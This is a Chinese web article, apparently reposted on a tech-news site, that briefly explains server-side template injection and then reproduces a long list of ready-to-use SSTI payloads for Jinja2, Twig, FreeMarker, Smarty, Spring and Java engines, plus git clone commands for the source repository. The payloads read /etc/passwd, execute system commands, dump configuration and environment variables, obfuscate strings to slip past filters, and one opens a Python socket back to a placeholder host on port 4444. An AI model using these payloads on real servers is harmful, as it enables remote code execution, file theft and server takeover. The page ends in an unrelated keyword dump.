千家信息网

SSTI-Payloads的示例分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,小编给大家分享一下SSTI-Payloads的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!服务器端模板注入所谓服
千家信息网最后更新 2026年10月31日SSTI-Payloads的示例分析

小编给大家分享一下SSTI-Payloads的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

服务器端模板注入

所谓服务器端模板注入技术,指的是攻击者能够使用本机模板语法将Payload注入到一个模板之中,然后再在服务器端执行。服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点,除此之外SSTI 攻击还可以用来找出 Web 应用程序的内容结构。

根据技术设计实现,模板引擎能够结合固定模板和动态数据来生成特定的网页。如果用户的输入数据直接与模板内容相连接,而不是作为数据参数直接传入的话,就有可能发生服务器端模板注入攻击了。此时,攻击者将能够通过注入任意模板指令来对模板引擎进行恶意操作,一般来说,这将导致攻击者获取到目标网络服务器的完整控制权。也就是说,服务器端模板注入Payload需要在目标服务器上进行部署和使用,这将使它们比一般的客户端模板注入漏洞更加严重。

漏洞影响

服务器端模板注入漏洞会使网站面临各种攻击和安全风险,具体取决于所讨论的模板引擎以及应用程序如何使用它。在某些罕见的情况下,这些漏洞不会带来真正的安全风险。然而,大多数情况下,服务器端模板注入的影响可能是灾难性的。

如果在某些严重情况下,攻击者可以在目标服务器上实现远程代码执行,完全控制后端服务器,并使用它来对网络内部基础结构执行下一步攻击。

即使在不可能完全执行远程代码的情况下,攻击者通常仍可以使用服务器端模板注入作为许多其他攻击的跳板,从而可能获得对服务器上敏感数据和任意文件的读取访问权限。

Payload集

{{2*2}}[[3*3]]{{3*3}}{{3*'3'}}<%= 3 * 3 %>${6*6}${{3*3}}@(6+5)#{3*3}#{ 3 * 3 }{{dump(app)}}{{app.request.server.all|join(',')}}{{config.items()}}{{ [].class.base.subclasses() }}{{''.class.mro()[1].subclasses()}}{{ ''.__class__.__mro__[2].__subclasses__() }}{% for key, value in config.iteritems() %}
{{ key|e }}
{{ value|e }}
{% endfor %}{{'a'.toUpperCase()}}{{ request }}{{self}}<%= File.open('/etc/passwd').read %><#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}{{app.request.query.filter(0,0,1024,{'options':'system'})}}{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}{$smarty.version}{php}echo `id`;{/php}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}{{request|attr(["_"*2,"class","_"*2]|join)}}{{request|attr(["__","class","__"]|join)}}{{request|attr("__class__")}}{{request.__class__}}{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}${T(java.lang.System).getenv()}${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Payload下载

广大研究人员可以使用下列命令将现有Payload集克隆至本地(HTTPS):

root@ismailtasdelen:~# git clone https://github.com/payloadbox/ssti-payloads.git

广大研究人员可以使用下列命令将现有Payload集克隆至本地(SSH):

root@ismailtasdelen:~# git clone git@github.com:payloadbox/ssti-payloads.git

以上是"SSTI-Payloads的示例分析"这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

模板 服务器 服务 攻击 攻击者 内容 情况 数据 漏洞 引擎 目标 篇文章 示例 分析 安全 人员 代码 命令 应用程序 技术 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 百单网互联网科技有限公司 中国互联网科技工作委员会毛军 互联网科技公司的优势 互联网巨头反垄断金融科技 西安互联网科技 互联网 的科技创新 唐信互联网科技 大连 宁夏众和广鑫互联网科技有限公司 知域互联网科技有限公司大骗子 特约风豹互联网科技为什么扣费 山东子淼互联网科技有限公司 互联网第三次科技革命特征 广州有谷有贝互联网科技有限公司 互联网界的黑科技 互联网科技的前景 互联网科技博主张洲 科技互联网专业工作会议发言稿 互联网领先科技成果宣传视频 上海互联网科技园景观 互联网 科技节活动 微视频大赛 科技创新与互联网经济 互联网科技的 北京互联网科技 互联网与未来科技 互联网科技logo设计 上游互联网科技 中化能源互联网科技招聘 互联网为啥属于高科技 中科明德北京互联网科技 2021世界互联网领先科技成果发布
0